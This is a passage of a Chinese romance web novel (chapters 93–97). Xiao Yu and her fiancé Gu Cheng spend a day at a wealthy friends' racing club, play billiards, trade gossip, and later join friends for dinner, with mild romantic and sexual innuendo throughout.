申少京不可思议地瞪着他,“为了她,你就这么对我?阿程,别说我没怎么她,就是怎么着了,为了个女人,你至于?”
周边的人都听出了点味儿来,敢情是为了下方那个摇旗呐喊的小姑娘。
于是几人回头继续着赛事,目光却又不自禁看向也朝控制台踮脚张望的女孩子,心下皆是暗叹:【祸水】。
顾程瞥了他们一眼,还是有一下没一下地摆弄着摇杆,继续撞,“谁不知道你是我最好的哥们儿?少京,岳父大人本就不放心把宝贝千金交给我,圈子里的人如今都看着,我是来让你给她下脸的,是吗?”
周围几个人心神一凛,又齐刷刷看向肖瑜,脑子里出现的又是另外几个字:【眼拙了,这位居然是顾程的正牌未婚妻啊】!
申少京也听得一怔,嘴角撇了撇,心虚地弱了气势,“那你不早说……我是看小妹妹怪可爱的,我,那不是逗她玩吗?谁知道她那么小心眼……”
“什么时候真的懂规矩了,什么时候再来跟我讲规矩。”顾程见他还是一副死鸭子嘴硬的模样,不耐地抬了脚,直接离场。
肖瑜早在看到他突然离开控制台起,就觉得有些不对劲儿,连忙跑了过来。可刚一见面,都还没问他发生了什么事,解说员的大喇叭里,就传出了一个男人刻意悲痛的嗓音:【各位选手,各位观众,很抱歉。因窜天猴赛手失心疯,临时退赛,决赛只好择日再办,同时给予该赛手禁赛三个月的处罚,望大家监督……】
‘失心疯’的赛手闭了闭眼,握拳。
肖瑜上前拉起他的手,“你还好吧?”
【此刻,艳绝泽城的申少京还要耽误大家一点时间,请见谅……】
播音器里正经的调调,不正经的言辞,惹来众人哄笑。肖瑜挤着眉抬眼看了看控制台,又不明所以地看向顾程。他神色已恢复如常,拥起她道,“待会儿多功能楼开放后,你……”
【这话是跟刚才那个现场尖叫声最大最肉麻,不但疯狂向窜天猴示爱,还恶夺小朋友加油棒的女士说的……】
肖瑜的脚步顿下来,不可思议地睁大了眼睛。这个申二花,消遣起她来还没完了?
【
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弟妹对不起,少京哥哥诚心跟你道歉。望你看在阿程清心寡欲做了二十八年和尚,一朝被你勾了魂就失足要结婚的份上,千万别跟我一般见识。你远嫁而来,以后少京哥哥就是你在泽城的娘家哥,但凡有人跟你不客气的,哥哥求你了,来找我告状。吾本泽城混不吝,别怕给你哥哥找麻烦。此致,敬礼!】
场下一片静默,继而是热闹的口哨和哄笑。肖瑜的嘴角抽了抽,哭笑不得瞅着顾程,“这样的人居然跟你是好哥们,太让人意外了。”
“两家世交,打小一起长大。他本性不坏,就是嘴欠又爱玩。”顾程见她不恼了,也松了口气,“还生气吗?要不要再给你出出气?”
“不用了。你都把他的脸摁在地上磨烂了,很解气。”此刻肖瑜哪里还看不出来,顾程就是为了帮她解气,才会当众来这么一出。她挽着他的胳膊,开心地像只顺了毛的猫,“可我真的没看出来,你竟然比他小。”
“他年尾生的,我也就小他几个月而已,上学都是一届的。”顾程随口应着,上了几步台阶才蹙眉道,“你意思我很显老?你是在嫌弃我么?”
“哪有。”肖瑜越发弯了眼眸,跟他几乎贴在一起走,“他实在太中二了,跟你比,气质上幼稚了不是一星半点。亲爱的,你在他面前是全方位碾压,我眼神不好使才会嫌弃你。”
这番赞美听得顾程很受用,可还是低笑着揶揄道,“变态老男人不是你对我的第一印象?”
旧事重提,可肖瑜却一点不觉得羞耻,依旧满眸恋慕地看着他,“那是我还小,不懂成熟大叔的好。”她顿了一下,偷笑着低了头,补充道,“尤其是能坚守二十八年童贞的帅叔叔。”
顾程的脸色登时有些不太自然,清清嗓子,瞥了她一眼,“叔叔这称呼挺清奇的,晚上叫一下听听。”
“讨厌。”肖瑜被他说了个大红脸,正脸红心跳揉着他的胳膊跟他闹,裤兜里的手机响起来,是穆青华的电话,“妈妈?”
“昨晚去顾程家里了吗?感觉怎么样?”
“嗯,挺好的,叔叔阿姨人很好,还有菲菲,对我都很照顾。”说起这个,肖瑜可开心了,“妈妈,我送菲菲的那串孔克珠才十八颗,阿姨送我的,有三十六颗呢!”
“这孩子,送出去个礼物还给赚回来了?”穆青华也笑了,似乎还跟身边也说了句什么,这才又压低了嗓音道,“妈妈昨晚听说了件事,有些话想跟你再叮嘱叮嘱。你身边有人吗?方便吗?”
肖瑜看了眼顾程,“方便啊,我跟阿程在一起,正在外边玩。”
“你先接电话。”顾程却笑了笑,握一下她的肩,“刚才突然退赛,还有一大堆人等着我给个交代。待会儿进来直接去清宴厅找我。”
申少京的当众道歉过后,俱乐部活动就已经进行到了下一个环节,开放多功能楼,后续娱乐。是以此刻他们两个是在没什么人的控制台后方,而其他人已从娱乐楼大厅正门鱼贯而入。
肖瑜明白顾程这是避嫌的意思,怕妈妈有自家的私密话要跟她说。她点点头,在他掌心捏了一下,才坐去控制台的沙发,小声问,“怎么了妈妈?什么事这么着急跟我讲啊?”
94. 第 94 章
第九十四章
一入多功能楼大厅,顾程就被正在围着申少京哄笑的几个人拥了过来。
“咦?小嫂子呢?程哥,你这回可真是把二花的脸摁在地上摩擦了。不好好把小嫂子介绍给大家认识认识,我可是怕以后不小心惹了小嫂子恼火,也挨顿莫名其妙的收拾。”
“就是,刚才那小姑娘,不,弟妹呢?你是不知道你比赛的时候,弟妹瞅着你,恨不得俩眼睛飞过去贴你脸上。阿程,怎么就悄咪咪把人家肖总的宝贝疙瘩从舟城给挖过来了?好好给哥几个传传经验。”
“看看,你们这些人消息太不灵了。嫂子是舟城的没错,可人在泽城上的大学,还没毕业呢,现今儿个正在程哥那家轮胎公司实习。这叫近水楼台先得月,羡慕不来。”
“真的?嫂子长得这么水灵灵的,我怎么从来没偶遇过?这不科学啊……”
“弟妹不是还恼着吧?”申少京眼瞅着顾程一个人进来,刚才还跟连体婴一样腻歪在他身边的小姑娘没跟着,他原本已眉飞色舞的笑脸收了收,叹息道,“阿程,你看我都这么低声下气了,弟妹要是还怨我,那……我给她买个包?”
“其他男人送的包,她可不会收。”顾程慢悠悠看他一眼,笑了,勾上他的肩道,“我看上的人,会这么小气?正跟家里打电话。走,过去甩几杆,让你也拾回点儿脸。”
申少京一下就乐了,朝他肩头砸一拳,撇嘴,“打一棒子给个栆的。今儿你一杆都不能赢,赢就是不给哥们儿面子。”
“二花啊二花,阿程刚给你的脸,就又被你给作没了。”他身边的刘世杰哈哈笑道,“悄摸地让你几杆,得个便宜不好吗?非得讲出来?”
嘻嘻哈哈的笑声中,一干人去了清宴厅。美女们早在台球和棋牌桌边三五成群,音乐相伴,美酒恭候,开始下半场的穷奢极欲。
*
肖瑜这厢接完了电话,起身一扭头,没防备身后有人,吓了一跳。
刘萌瞧见她吃惊的神色,赶紧又把嘴角往上提了提,“吓着你了?对不起啊,赵总今天专门让我过来陪你的。我怕你万一找不到顾总,会不高兴。”
肖瑜愣了一下,无奈地笑道,“好吧,现在是不是大家都觉得我小心眼了?我哪儿有那么容易生气啊。”
“我不是这个意思。”刘萌连忙解释道,“主要听说你第一次来,怕你不熟。那我们进去吧?”
肖瑜随口那么一说,见她脸上的笑意越发带着讨好,她耸耸肩,很配合地跟她并肩走向了娱乐楼,没再多说什么。
“肖瑜,你这套阿迪是私人定制的吧?很别致。”
申少京那番话,的确是让现场诸人重新审视起了肖瑜,刘萌更甚。此前只知这是顾程的未婚妻,可她虽非圈内人,却也知道这个圈子里并非所有的未婚妻最后都能稳坐正位,就算最后真的结了婚,也有不少各玩各的,面子上说得过去就行。
可方才听到别人议论,说这姑娘居然是舟城首富的爱女,刘萌再想起方才在赛场上,她居然错过了那么重要的一个跟大家千金套近乎的机会,悔得肠子都青了。此刻再看,也不觉得肖瑜的这身休闲服廉价了,反而怎么看怎么觉得超凡脱俗。
肖瑜却有点接不上话,好半天才回了两个字,“谢谢。”
她本想认真回答,家里是有几双私人订制的阿迪鞋子,但身上这套是今天过来的时候街边随手买的。可她跟刘萌除了刚才在赛场上被赵经年介绍着认识过,基本没说过话,方才随口说笑几句,她又一副小心翼翼的样子,所以她也不太清楚刘萌的雷点在哪儿,秉着多一事不如少一事的原则,尽量少说话。
可这回答听在刘萌耳朵里,十分的敷衍不耐。她抬眼看向大厅里许多正凑在一处聊天说笑的男男女女,鼓起笑脸朝肖瑜更靠近了一些,轻声道,“顾总他们去了清宴,应该已经开始玩了。楼上还有很多好玩的设备,我先带你到处参观一下,熟悉熟悉怎么样?”
多功能厅很大,入眼是给孩子们打造的室内娱乐设备,很多小孩子们已经在城堡里钻上钻下,周围坐着泾渭分明的两群人,只有五六位那方,是保养得当的太太们,笑语晏晏,亲亲热热,偶尔瞥一眼游乐区,寻一下自己的孩子,而另一群看起来应该是阿姨保姆,收拾得也都十分得体,尽管面前茶点饮品也都很齐备,但多数都是专心地关注着自家小少爷小公主,目光一瞬不敢闲着,时不时还要跑上前去扶一下,帮个忙。
还有一些公子哥儿带了不止一位女伴过来,有不知道眼下何处的,还有不少都三三两两来回串着说话,一边拉交情,一边明里暗里炫耀着自己多得的那份青睐或者名品。
眼见随着二人进来,不管是太太桌,还是车模为主的女伴群,都已经有那么三五个人朝自己点头微笑,有了些过来打招呼的意思。肖瑜脑仁儿一疼,连忙客气地跟目光对视上的人笑了笑,转头看到东边一个关着门的地方悬着‘清宴’的牌匾,她赶紧跟刘萌道了别,“我还是去找顾总玩儿吧,你忙你的。”说完,便径直走了过去。
刘萌原地怔了下,连忙也跟了上去,“赵总待会儿也来,我陪你过去。”
*
清宴这地儿,名字起的正儿八经,实则棋牌桌球样样有。
肖瑜在刘萌的指引下,路过好几桌男女混坐,还有交叠而坐去摸牌、香艳无边的牌桌,才找到了最里面正在嬉笑着打球的那群男人。
她俩过去的时候,顾程刚从台子上直起身,那杆球打得无力到只爬行了几厘米,惹来周遭一阵倒喝彩。
还有人正说道,“程哥,放水放得也太过了,这比刚才在赛场上还打脸。”
“你看我就说吧。”花蝴蝶申少京握着球杆,神情有些恹恹,“阿程就是还在怨我,小心眼子,忒不爷们儿。”
顾程的笑意有些懒散,抬眸看到朝他快步走来的肖瑜,他待她靠近,很自然地揽了她的腰入怀,淡笑道,“我已经尽力了。想做到不留痕
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迹地让你,着实难了点。”
“呦!弟妹一来,你这还真装上了。”旁边有年岁稍长的阔少乐道,“赛车你行,大家都认。可台球,申少可一直输少赢多吧。”
肖瑜还不知道此前是什么情形,可听到这些人熟稔的调侃,也笑了。
“申少,顾少,刚好顾少的女朋友也过来了,我有个提议,要不要试试?”申少京身侧,身材丰满的高挑美女探手握住他的球杆,看了眼顾程,高耸的胸部贴着申少京的臂膀轻轻蹭,“申少,你知道我球打得不好,不如让我跟顾少的女朋友比比。女人家玩,男人论输赢,你觉得如何?”
“这倒是个好主意。”周围的人嬉笑起来,申少京也再度有了些兴致,挑衅地瞅着顾程道,“怎么样?给弟妹一个亲自虐我的机会?”
顾程笑了笑,问肖瑜,“想玩吗?”
“可我不会打啊。”肖瑜为难地看了眼顾程,可再看向他手中的球杆时,又有几分跃跃欲试,“不过我在电视上见过,可以试试。”
“那就试试。”顾程把球杆往她手里一递,朝对面那个湘湘抬了抬下巴,“该你了。”
湘湘是个小有名气的车模,玩得开又很有情商的女人。她今日随着另一个富家哥儿作为女伴之一来的,那人早就不知道跟哪个新认识的美女厮混去了,是以她也存心另寻金主,十分放得开。
肖瑜本以为台球就是电视上的斯诺克,可当穿着一字肩包臀裙的湘湘,高抬左膝压腰翘臀,一对爆胸几乎贴在桌面,嘭地挥杆之后,她咽了下嗓子,撩起眼角去看顾程,满眼的不自在。
男人们发出低低的笑声,还有听不仔细的耳语。申少京轻咳一声正要说话,顾程已经握了握肖瑜的肩,笑道,“站直了打,别学她。”
“讨厌。顾总,人家就是吃这行饭的,习惯了嘛……”湘湘一球落空,双臂撑着台面,慵懒地朝顾程嗔道,“我可是专业车模,到哪儿都得有展示美的觉悟。”
“敬业。”顾程低笑一声,指指离球袋最近的红球,看向肖瑜,“该你了,打这只。”
肖瑜拿起球杆,像模像样地比划了一下,弓腰对着母球打了出去。
她学的是电视上斯诺克的姿势,很正经,况且穿得是宽宽大大的休闲装,腰身都不显,算得上合体。可一杆挥出,众人登时便笑得乐不可支。
挥空了……
顾程也忍着笑,伸手把嘟着嘴的她捞起来,安慰道,“没事,下一杆我教你。”
湘湘听了,满眸艳羡看了肖瑜一眼,俯下身,姿态妖娆地又挥了两杆。
轮到肖瑜,顾程自后把她的背压低,高大的身型若是从后方看,压根都看不见怀里还有个人。
周围突然安静下来,针落可闻。
他本未曾心猿意马,盯着母球握住她的手,瞄准,打算让她感受一下挥杆的力度和准头。可小姑娘忽然红着脸转头看了他一眼,幽香的气息惹得他喉结一滚,手臂也下意识动了一下。
95. 第 95 章
第九十五章
空杆。
“哈哈哈哈……”申少京简直乐开了花,“我靠,你行不行啊阿程?”
“哈哈我看行!这下程哥绝对没放水!”
“阿程,你这一杆挥下去,脑子里想什么呢?哈哈哈……”
顾程被他们逮着调侃,不见任何尴尬之色,只是深深地看了肖瑜一眼,竟让她察觉到一丝埋怨之意。
她不好意思地咬了下唇,转着眼睛想了想,伸手把拉链一开,脱下外套绑在了腰上,“刚才太热了,下一杆我一定好好学。”
确实方才他压过来的时候,温热的气息就在颈窝,屋里又暖和,她就是觉得浑身热烘烘的,才会很不走心地挪开视线,导致空球。
可顾程看到她内里的短袖紧身T,眉心微微起了皱。
其他人的目光也都短暂地在肖瑜身上停留了片刻,跟着,视而不见般又悉数挪回了湘湘身上。
湘湘这一球打得也不怎么样,握起球杆起身时,倒是凑近肖瑜,毫不掩饰欣赏的目光,小声问,“你身材这么好啊!水滴吗?是不是很贵?”
肖瑜一脸的莫名其妙。顾程瞥了湘湘一眼,拉起肖瑜走开两步,又把她压向了桌面。
只是这一次,先感觉到浑身燥热的人,换做了他。尤其小姑娘被压下了背脊后,不可避免地收腰提臀,方才衣衫宽大,不管视觉还是感觉都有误差,可这会儿她倒是认认真真看着球等着他教,而他却压根就没办法把目光从她雪一样的耳后挪开。
“随便打。”他忽然起身,低头看着不知所措的肖瑜,揉了揉她的脸,“想怎么打怎么打,想学就让湘湘教你。我跟少京他们聊会别的事,再玩一会儿去酒店休息。”
“怎么就不玩了呢?”湘湘咬了下唇,看向顾程,有点不情愿地撒着娇,语气却恰到好处地不会让人觉得冒犯,“顾少,方才我还想着缠一缠申少,让他也教教我呢。您这可是坏我好事了。”
“今儿可不行。”申少京先开了口,一边过来勾起顾程的肩,一边给她抛媚眼,“今儿你陪着金少过来的,我要是教了你,可不是坏规矩么?想跟哥几个上楼赛车,得金少先松口。好好陪我弟妹,她开心了,少不了你的好。”
身边那几个听了都笑得有些意味深长,肖瑜看他一眼,很好奇地问顾程,“你们还要上楼赛车?你不是被禁赛了吗?”
立刻有憋不住的笑声喷出来,又赶紧压住。顾程看那人一眼,勾了下唇,“跟我没关系,不是同一个赛道。”
继而几个男人都坐去了落地窗那厢喝酒,赵经年也不知道从哪儿冒了出来,加入其中。时不时爆笑几声,又或嘻嘻哈哈碰个杯,偶尔还会神色严肃地点点头,间或有人喊了女伴去玩牌,或者不知道带人去了哪儿,各自为乐。
肖瑜从来没真正打过桌球,所以此刻跟湘湘两人霸着台,那湘湘又十分热情,在她指点下,肖瑜倒真的有了些兴趣,玩得十分开心。
休息的间或,两人喝着香槟,湘湘十分羡慕地又看了眼她,悄声道,“顾少对你可真好,我还是第一次见他跟女伴这么亲密,面子里子都到位。”
肖瑜还没应声,她又连忙道,“你可别误会啊,之前顾少的确带过人来玩,但都是走走过场,小手都没拉过的,更别说还能让申少那个百无禁忌的当众给道歉了。”
说着,她又瞥了眼肖瑜的胸,感慨道,“我当时也要隆成D杯水滴的,结果一觉醒来凭空比我要的大了一个SIZE,大到离谱,完全没你这个自然。你在韩国做的还是在国内做的?你家那么有钱,一定很贵吧?”
她几乎不给肖瑜说话的机会,也是到这一刻,肖瑜才明白刚才那句话问的是什么。她自豪地挺了挺胸,笑道,“妈妈给的,不要钱。”
“不是吧?”湘湘震惊了,后退一步又打量了她半天,依旧半信半疑,“这腰身和这个胸,不是科技狠活谁信啊?大家都是女人,我不告诉顾少,我就是接下来还得改几个地方,想找个靠谱的医生做。你推荐一下嘛……”
“可我真的没做过啊。”肖瑜因她变相的夸赞,心情十分愉悦,看到湘湘一字肩下硕大的半球形,忍不住好奇地问,“隆出来的结实吗?会不会被捏爆?”
“……”湘湘斜着眼睛嗔了她一眼,甩一下头发挺挺胸,“能受千斤。不信你试试?”
“……”肖瑜被她的豪爽震惊了,咽了下嗓子,做贼一样四下看了看,“真的可以吗?”
湘湘也被她的天真给打败了,捂着胸埋汰道,“这可是我钓金龟的资本,万一真被你捏坏了,我可得找顾少赔。”
肖瑜的嘴角弯了起来,继而十分小心地说道,“湘湘,你跟刚认识的人讲话,都这么直率吗?”
其实肖瑜对别人的生活一向不会过多干涉,也不会拿审判的目光看。大学同窗里有人为钱为利攀附校外人士,在她眼中,也只是那些人自己的选择而已。只不过她还从来没见过像湘湘这样的女孩子,以色事人却丝毫不见羞赧尴尬,说起假体也完全不加掩饰。
“那是因为你是顾少的女朋友啊。”湘湘笑了笑,看向不远处凑在一起聊天的那些女孩子,眼睛里带了几分不屑,“你是名门千金,跟我们不一样。今天这种场合,除了那些拖家带口的,没几个是带着自己正经女朋友和未婚妻的。我不敢觊觎顾少,他也不是随便能拿下来的,所以跟你多说几句没什么好顾忌的。倒是跟我一样的那群人,谁不知道谁打的什么主意,偏还装清高等着金贵往上凑。也不想想来都来了,这些公子哥儿眼里,她们那点小心思,瞒得了谁。”
刘萌此刻正坐在那群女孩子堆里,也同样不屑地远远看着肖瑜和湘湘,装了许久的假笑早就烟消云散。
“嗳,听说这肖瑜是舟城首富的千金啊?没想到居然能跟湘湘那个浪货聊到一起。”她身侧的女孩子吊着眼角,因与肖瑜她们相隔甚远,说话便没有顾忌,“你刚才不是跟肖瑜一起进来的吗?原来不熟啊?”
“大家闺秀,越是跟看不上的人亲热,越让人觉得平易近人。”刘萌又端起笑,到底比她们说话要小心些,“这可是顾总的未婚妻,说话还是得多少注意点,别让人知道了怨上。”
“嘁。”那女孩轻嗤一声,低头拨了拨镶钻的指甲,“顾总到底也是个男人,男女之间不
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就那么点事儿?他们这样的,真结了婚就不会这么装深情了。你瞅着吧,这种家族联姻的啊,到头来肯定还是各玩各的。”
“那你倒是试试啊。”女孩身侧挨着的轻笑一声,捏了把她的胳膊,“过把嘴瘾就行了,可最好别操上位的心。不然啊,就肖大小姐这样的,瞅着没心机,指不定背着顾总能直接把你卖缅北。没看连申少今儿都当众被下了脸?”
刘萌到底谨慎些,眼瞅着这两个女孩没轻没重地继续讨论,她借口去赵总那边问问接下来的安排,连忙离开。倒是她身侧的女孩,还在咬着耳朵跟一边轻叹道,“可不是么……越是看着单纯的,越是有手段,宫斗剧多看看还是有用。这位能把顾少都勾得当众教人打球,段位确实不低。”
“那你猜。”她身侧那女孩也不怀好意地眯了下眸,悄声道,“待会儿顾少会不会带她去赛车啊?”
“啧,不好说。真要是去了,就说明也没多把这个未婚妻当回事,那咱们就还是有机会的。”
“呵呵,你又来劲了……人顾少眼神都没往你身上停过。”
“此一时彼一时,看他今儿三番几次把人往怀里带,还看不出来吗?肯定是已经知道滋味了。这种事情一旦起了头,呵……”
*
彼时顾程那厢已经散的差不多了,只有申少京,赵经年,还有身边刚坐下的刘萌。
顾程看一眼表,抬头看看还趴在桌面上练球的肖瑜,笑了笑,“你们有事就先走,我今晚住这儿,不着急,让她再玩会儿。”
“要带小姑娘泡温泉?”申少京的眼神一下就暧昧起来,瞥一眼刘萌,问赵经年,“这姑娘面生啊,待会儿去玩车不?”
“这不是专门带她来陪弟妹的吗?正经工作的,不玩。”赵经年闻言拍拍刘萌的大腿,朝大门扬了扬下巴,“你先回吧,去逛逛街买点喜欢的东西。”
刘萌咬了下唇,可又没借口再留下,乖巧地笑了笑转身离开,只是临别前看向跟湘湘笑语晏晏说着话的肖瑜,眼中到底掩不住生出几分怨气。
“没想到弟妹倒是没什么门第观念,跟湘湘还挺聊得来。”赵经年抿一口酒,摇摇头,“早知道就把小悠带过来了。上回吃饭,我还以为她是矜持系乖乖女。”
顾程笑看着肖瑜,没搭话。
倒是申少京把头往他的方向歪了歪,坏笑着道,“矜持?刚才赛场上就数她最放得开。再说你看阿程今儿但凡看到弟妹,那手有老实的时候?还有刚才正教得好好的,怎么突然就不玩了?哈哈,经年,你也是过来人了,装什么纯?阿程肯定是试过了,而且小姑娘也绝对不是你想象中的矜持系。”
赵经年看着面无波澜的顾程,嘴巴张得能塞俩鸡蛋,“兄弟,你婚前破处了?你的原则呢?”
“滚。”顾程终是笑骂了一句,如今只有三个关系最近的人在,只是男人间的闲聊,他也不怎么在意,点头道,“岳父松口的话,下个月就订婚。这跟已经结了婚有什么区别?”
“没想到一直就你单着,这第一个要结婚的也是你。”赵经年感慨地又闷了口酒,踌躇着道,“舒曼你俩彻底没戏了?”
96. 第 96 章
第九十六章
“敢情连你都蒙在鼓里呢?”申少京一听就乐了,“阿程快毕业那阵儿,是被我大姐天天逼婚闹得没办法,才跟秦舒曼谈了几天。她家里那么乱,那会儿还跟家里都断绝关系了。我们这样的,哪怕另一半小富即安,也不可能找一个处处拖后腿的啊。阿程怎么可能真的跟她在一起?”
赵经年简直像是第一次认识顾程,眉心拧成了一团,“什么意思?这么多年的拉扯,假的?你到底当我是哥们儿吗?”
“同学一场,之前多少要顾及她的颜面。”顾程给他敬了个酒,算是安抚,“再说后来都是你们自己在臆想,我怎么说你都不信,怨我?”
“舒曼最近回了南城。我听刘赫说,已经接了她的官司,准备帮她重新抢回继承权。”赵经年摇了摇头,叹道,“早知如此,何必当初。她那个便宜哥哥,听说也是有两把刷子的。”
“做事情前不想想后果,总要为自己的决定负责。”顾程想起离港前那夜,眸色暗了几分,转了话题道,“我等我的,你们俩该干嘛干嘛去。”
“呦,嫌哥们碍着你事了?”申少京没个正型地又过来勾住他的脖子,悄声道,“你这刚开荤,正上头呢吧?要不要哥哥们支你两招,好叫弟妹以后都离不开你?”
赵经年也凑过来,三个人头挤头,坏笑道,“俱乐部新来了几台赛车,刚拆封,很干净的。要不你也带弟妹上去体验体验?”
“一天天脑子里就那么点事儿。”顾程拧一下眉,抬眼看到金安宇过来找湘湘,他直接就站了起来,“走了。你们俩还是悠着点,也不怕哪天死在女人身上。”
申少京跟赵经年两个在后方笑得无所顾忌,倒是肖瑜刚在湘湘介绍下,跟个子还不到一米七二的金安宇打了招呼,便兴高采烈地朝顾程迎了上来。
“湘湘他们要去楼上玩赛车,我们一起好吗?”
“顾少。”金安宇闻言连忙解释,“我只是来找湘湘的,你们忙。”说完就把恋恋不舍跟肖瑜道别的湘湘拉了一个踉跄。
顾程点了下头,跟他笑道,“金少今儿可得帮我好好谢谢湘湘,陪了我未婚妻大半天,我还没来得及道谢。”
金安宇眼眸一亮,拉着湘湘的劲儿便不那么霸道,笑着应道,“应该的。等您有空,我带湘湘请您和嫂子吃饭。”
“嗯。”他俩前脚离开,后脚肖瑜就不解地瞅着他,“我们不去吗?听说楼上好多人都在玩儿。”
“这的不干净。我车库里就有,想玩回去我们在家玩。”顾程抿着唇角拥起她,低笑一声,“晚上泡过温泉,还打算带你去划船。先去酒店休息会儿。”
“好!”
*
所谓休息,原来是逆向表达。
换了酒店新买的比基尼,房门还没出,就被某人摁在床上折腾了个里里外外。繁星满天的时候,肖瑜累得眼睛都睁不开,别说出去划船了,连下楼泡温泉的力气都没有。
而第二天回到顾家老宅,顾程果然带她去了后院的车模基地,教她玩电竞摩托。可真等自己上了手玩得入迷时,被他从后方抱过来要她叫‘叔叔’,肖瑜才彻底明白那些上楼赛车的男男女女,到底是在玩些什么。
好在周日顾父顾母都有自己的日程安排,顾菲也主动跑单位加班,两个人在基地的小荒唐,并未被人察觉。
只是吃过晚饭回到泽鼎的时候,肖瑜说什么都不肯去顾程那里住,借口洗澡换衣服写小说,坚持要回家。
顾程也自知这几天有些过于放纵,尤其看到小姑娘在电梯里穿着板鞋都双腿打颤的模样,难免心疼又自责。是以送了她回家后,尽管不太情愿,他倒也没再坚持。
可新的工作日开始,因为要接待合作伙伴对集团的拜访,他连续几天都没去过华驰,全由安祈攸坐镇。周一晚上回了家,屋子里黑灯瞎火,不似上一次宴罢归来,客厅里留着小夜灯,餐桌上备着柠蜜,被窝里温香软玉。手机里,倒是有小姑娘一早的报备:【今晚北北在我这里住。】
周二还在应酬时,接到肖瑜问候的电话,顾程特意交代道,“今晚想喝你做的柠蜜。”
小姑娘应得很爽快,“好。”
于是顾程应酬到深夜,原本一个城东一个城西,一早还要参加会议,硬是歪在车里小憩一路,让司机把他又送回了泽鼎。
周身的疲惫,在看到射灯直照的那壶柠蜜时,一扫而光。他在外间的洗浴室收拾妥当,轻轻打开卧室门,缓步走向铺好的被褥,伸手抱了过去。
啧。
空的。
*
周三快下班,接到顾菲发过来的见面地址,肖瑜才忽然想起来,还没跟顾程提起过要和简承贤他们聚餐的事。
她连忙打了电话过去,可响了两下就被摁掉,不多会儿,收到一条信息:【急事?】
急吗?
想到顾程可能正在开会,肖瑜思忖了一下,回了短信过去:【不是急事。晚上跟菲菲他们吃饭,上次那个假相亲的对象简承贤也会去,跟你报个备。】
发完短信等了几分钟,没有回音。
她想了想,又发了短信过去:【你生气啦?我没有先斩后奏的意思,这几天太忙了,还没来得及跟你讲。】
又等了一会儿,才有信息姗姗迟来:【你开车吗?】
肖瑜连忙回复:【开。我不喝酒,晚上会早点回家的。】
【去吧。不许穿紧身衣。】
她低头看了眼自己宽松的衬衣,整了理一下头发,发过去一张自上而下视角的自拍,笑得很甜:【松松哒。爱你呦。】
顾程的信息立刻回了过来:【回家换件衣服再去,这件有沟。】
肖瑜:……
*
夜来的聚会,约在日式会馆。
被引往包间的路上,燕北北还在一遍遍好奇地问,“你见过阿J了啊?真那么帅?菲菲还专门给我打电话,让我晚上千万别盯着他看。”
“帅不够确切,应该说是很漂亮。”肖瑜点了点头,叮嘱道,“可别让他知道我偷偷看过
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他俩视频,不然又得跟菲菲闹。他有点像日漫里那种忧郁美少年,眼睛很大,很迷人那种。”
“啧,比你们家顾总还迷人?”
“那当然没有,顾总的硬帅更符合我的审美。”想起顾程,肖瑜的笑意更浓,低头看看自己从脖子包到脚踝的连体裤,悄声道,“顾叔叔现在是我心里的NO.1。”
“哎呦这一股子酸腐的狗粮味。”燕北北翻了个大白眼,却突然睁大眼睛,拉了拉肖瑜,“你的NO.1知道你今天来这儿吗?”
“知道啊,嘻,他是个醋精,连我穿……”肖瑜正说着,顺着燕北北的视线看过去,原地顿住了脚步。
不远处,就在他们的包间隔壁,正有两个人从转角迎面而来。一个是笑意清浅的顾程,另一个是步态摇曳,身着深V礼服长裙,脚踏高跟鞋的女人,两个人离得很近,低言说笑的亲密姿态,一点不像工作关系。
女人也看到了她们,她转眸看向眉峰微动的顾程,眯了眯眼,“认识?”
顾程的目光在肖瑜身上游走一圈,满意地点点头,“未婚妻。”
燕北北咽了下嗓子,悄悄去看肖瑜。
肖瑜回过神来,几步上前抱住了顾程的腰,在女人愕然的目光中,仰头埋怨地看着他,“你跟朋友出来玩,都没有跟我报备。以后我再出来玩,也要偷偷的,不告诉你。”
“本想晚点给你一个惊喜的,谁知道这么巧,刚来就遇到了。”顾程低声笑了笑,抬抬左手的礼袋,“二花的姐姐今天生日,我们在这边聚一下。待会儿你接我回去,我没带车。”
“好啊。”肖瑜这才转头看向他身侧那位女伴,很客气地笑了笑,“你好,我是肖瑜,顾程的女朋友,见到你很高兴。”
“你就是肖瑜?”那女人的眉心轻轻皱了一下,继而不咸不淡地说了句,“是比秦舒曼顺眼点。”
顾程无奈地瞥了她一眼,一侧的包间门开,顾菲探了探头,看到顾程和身边的女人时,眼睛张了一下,连忙出来打招呼,“悦悦姐,生日快乐啊。今儿我跟朋友聚会,就不去给您庆祝啦,让我哥代表了。”
“待会儿过来给我敬杯酒总是有时间吧?”申悦佯怒地嗔她一眼,笑道,“赶紧把你这两个朋友带走,都耀武扬威到我头上了。现在的小姑娘,一个比一个占有欲强。”
见识过申少京的嘴巴,肖瑜对他姐姐的毒舌自动产生免疫,勾勾手待顾程很配合地低了头,她踮脚在他脸颊亲了一口,才弯起眼睛松了手,推推他,“走的时候叫我,爱你呦。”
顾程低声笑着点了点头,待几个小姑娘挤眉弄眼进了包间,才睨着申悦道,“寿星,我女朋友就这么好看?还不进去?”
申悦翻了下眼睛,很不是滋味地说道,“小丫头片子,我倒宁愿她直接上来先抽我两个耳刮子,或者跟秦舒曼似的,阴阳怪气几下。这弄得我都没办法宣扬一下咱俩的关系。”
“呵。”顾程示意服务生推开包间,笑道,“有什么好宣扬的?她知道了也只会谢谢你。”
97. 第 97 章
第九十七章
“优秀啊小鱼儿!”
这边一进门,燕北北就摇头叹息道,“你是真心大,还是不在乎?都不问问这女人谁吗?”
“重要吗?”肖瑜看她一眼,笑了笑,“这就是正式男女朋友关系给我的底气。”
这话难免让燕北北想到在学校时,姜昊身边那些莺莺燕燕。她点点头,拉起肖瑜的手握了握。
肖瑜也笑着回握了她的手,“以前你说的很对,两个人在一起就是得名正言顺,所以我才能这么理直气壮。我跟你说哦,跟顾总谈恋爱后,我不仅乳腺通畅,连痛经都自然痊愈了。”
“说你胖,你还喘上了。”燕北北笑得不行,埋汰道,“痛经也能痊愈?怕不是顾总床上伺候得好,打通了你任督二脉吧?”
“你小点声。”肖瑜在她胳膊上掐了一下,玄关处换好了鞋子,踮脚往包间里面看,“菲菲,你男朋友他们已经来了吧?”
“嗯。”顾菲不知道在想什么,闻言惊了一下才回神道,“等你们老半天了。”
她几个说着话走过去,还穿着AZ印制大T恤的两个男人抬头看过来,简承贤叹息道,“肖瑜,你这手脚可真够快的。假约会都没来一次,直接就要订婚了?”
“我不敢约,你也不敢会。”肖瑜在他对面坐下,笑道,“抱歉啦,欠你一个人情。你最近好吗?”
